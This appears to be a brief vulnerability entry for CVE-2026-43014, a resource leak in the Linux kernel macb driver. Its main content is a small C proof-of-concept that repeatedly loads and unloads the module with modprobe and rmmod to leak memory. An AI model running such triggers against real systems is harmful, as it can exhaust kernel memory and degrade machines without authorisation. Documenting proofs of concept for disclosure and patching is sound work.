CVE-2026-43014: Linux内核macb驱动资源泄露漏洞

/* * PoC for CVE-2026-43014: Resource Leak in macb driver * This script demonstrates the potential trigger mechanism * by repeatedly loading and unloading the module. */ #include <stdio.h> #include <stdlib.h> int main() { printf("Attempting to trigger resource leak in macb driver...\n"); // NOTE: Actual exploitation requires root privileges to insmod/rmmod // or specific hardware interaction. This is a conceptual trigger. for(int i=0; i<1000; i++) { system("modprobe macb"); // Load driver system("rmmod macb"); // Unload driver -> Leak occurs here printf("Cycle %d: Memory likely leaked due to missing clk_unregister_fixed_rate\n", i); } return 0; }
